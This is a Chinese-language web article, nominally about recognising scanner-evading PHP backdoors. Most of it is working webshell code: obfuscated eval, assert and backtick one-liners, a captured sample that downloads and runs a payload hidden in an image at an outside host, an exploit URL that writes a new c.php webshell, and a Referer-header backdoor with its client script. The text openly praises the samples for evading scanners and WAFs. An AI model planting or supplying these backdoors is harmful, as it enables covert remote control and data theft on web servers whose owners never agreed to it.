教你識(shí)別簡(jiǎn)單的免查殺PHP后門
一個(gè)最常見(jiàn)的一句話后門可能寫(xiě)作這樣
<?php @eval($_POST['cmd']);?>
或這樣
<?php @assert($_POST['cmd']);?>
tudouya 同學(xué)在FREEBUF上給出[一種構(gòu)造技巧]利用
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
構(gòu)造生成,當(dāng)然,嫌太直觀可以寫(xiě)作這樣
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代碼進(jìn)行偽裝,一個(gè)簡(jiǎn)單的”免殺”shell樣本就出現(xiàn)了
我們?cè)賮?lái)看看號(hào)稱史上最簡(jiǎn)單免查殺php后門
直接上代碼:
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精簡(jiǎn) /******************************************************* * 原理:PHP中``符號(hào)包含會(huì)當(dāng)作系統(tǒng)命令執(zhí)行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下載config.txt查看內(nèi)容了! * 可以試試更變態(tài)的命令,不要干壞事哦! *******************************************************/
其實(shí)現(xiàn)原理就是PHP會(huì)直接將 ` 符號(hào)(注意:不是單引號(hào))包含的內(nèi)容解析為系統(tǒng)命令執(zhí)行!這樣就可以自由變態(tài)地?cái)U(kuò)展了!
再來(lái)看同樣很簡(jiǎn)單的一段代碼
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?>
密碼page
近期捕獲一個(gè)基于PHP實(shí)現(xiàn)的webshell樣本,其巧妙的代碼動(dòng)態(tài)生成方式,猥瑣的自身頁(yè)面?zhèn)窝b手法,讓我們?cè)诜治鲞@個(gè)樣本的過(guò)程中感受到相當(dāng)多的樂(lè)趣。接下來(lái)就讓我們一同共賞這個(gè)奇葩的Webshell吧。
Webshell代碼如下:
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
關(guān)鍵看下面這句代碼,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
這里執(zhí)行之后其實(shí)是一張圖片,解密出來(lái)的圖片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后調(diào)用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內(nèi)容,再調(diào)用gzuncompress解壓,得到真正的代碼。最后調(diào)用preg_replace的修飾符e來(lái)執(zhí)行惡意代碼的。這里執(zhí)行以下語(yǔ)句來(lái)還原出惡意樣本代碼,
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
無(wú)特征隱藏PHP一句話:
<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>
將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒(méi)有特征碼。用掃描工具來(lái)檢查代碼的話,是不會(huì)報(bào)警的,達(dá)到目的了。
超級(jí)隱蔽的PHP后門:
<?php $_GET [a]( $_GET [b]);?>
僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不可小視,簡(jiǎn)簡(jiǎn)單單的一句話,被延伸到這般應(yīng)用。
層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門:
此方法用兩個(gè)文件實(shí)現(xiàn),文件1
<?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>
文件2
<?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要執(zhí)行的代碼 $code = <<<CODE phpinfo(); CODE; //進(jìn)行base64編碼 $code = base64_encode ( $code ); //構(gòu)造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后門url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
通過(guò)HTTP請(qǐng)求中的HTTP_REFERER來(lái)運(yùn)行經(jīng)過(guò)base64編碼的代碼,來(lái)達(dá)到后門的效果,一般waf對(duì)referer這些檢測(cè)要松一點(diǎn),或者沒(méi)有檢測(cè)。用這個(gè)思路bypass waf不錯(cuò)。
我們以一個(gè)學(xué)習(xí)的心態(tài)來(lái)對(duì)待這些PHP后門程序,很多PHP后門代碼讓我們看到程序員們是多么的用心良苦。
相關(guān)文章
重新封裝zend_soap實(shí)現(xiàn)http連接安全認(rèn)證的php代碼
重新封裝zend_soap實(shí)現(xiàn)http連接安全認(rèn)證,需要的朋友可以參考下。2011-01-01php表單請(qǐng)求獲得數(shù)據(jù)求和示例
這篇文章主要介紹了php表單請(qǐng)求獲得數(shù)據(jù)求和實(shí)現(xiàn)代碼,需要的朋友可以參考下2014-05-05PHP實(shí)現(xiàn)約瑟夫環(huán)問(wèn)題的方法分析
這篇文章主要介紹了PHP實(shí)現(xiàn)約瑟夫環(huán)問(wèn)題的方法,結(jié)合實(shí)例形式分析了php使用循環(huán)與遞歸實(shí)現(xiàn)約瑟夫環(huán)的相關(guān)操作技巧,需要的朋友可以參考下2017-12-12php抽獎(jiǎng)概率算法(刮刮卡,大轉(zhuǎn)盤)
這篇文章主要為大家詳細(xì)介紹了php中獎(jiǎng)概率算法,可用于刮刮卡,大轉(zhuǎn)盤等抽獎(jiǎng)算法,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2016-06-06PHP實(shí)現(xiàn)通過(guò)Luhn算法校驗(yàn)信用卡卡號(hào)是否有效
這篇文章主要介紹了PHP實(shí)現(xiàn)通過(guò)Luhn算法校驗(yàn)信用卡卡號(hào)是否有效,實(shí)例分析了php實(shí)現(xiàn)Luhn算法及相關(guān)應(yīng)用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-03-03PHP 如何獲取二維數(shù)組中某個(gè)key的集合
PHP 獲取二維數(shù)組中某個(gè)key的集合2014-06-06PHP實(shí)現(xiàn)數(shù)字補(bǔ)零功能的2個(gè)函數(shù)介紹
這篇文章主要介紹了PHP實(shí)現(xiàn)數(shù)字補(bǔ)零功能的2個(gè)函數(shù)介紹,需要的朋友可以參考下2014-05-05php5.2以下版本無(wú)json_decode函數(shù)的解決方法
這篇文章主要介紹了php5.2以下版本無(wú)json_decode函數(shù)的解決方法,需要的朋友可以參考下2014-05-05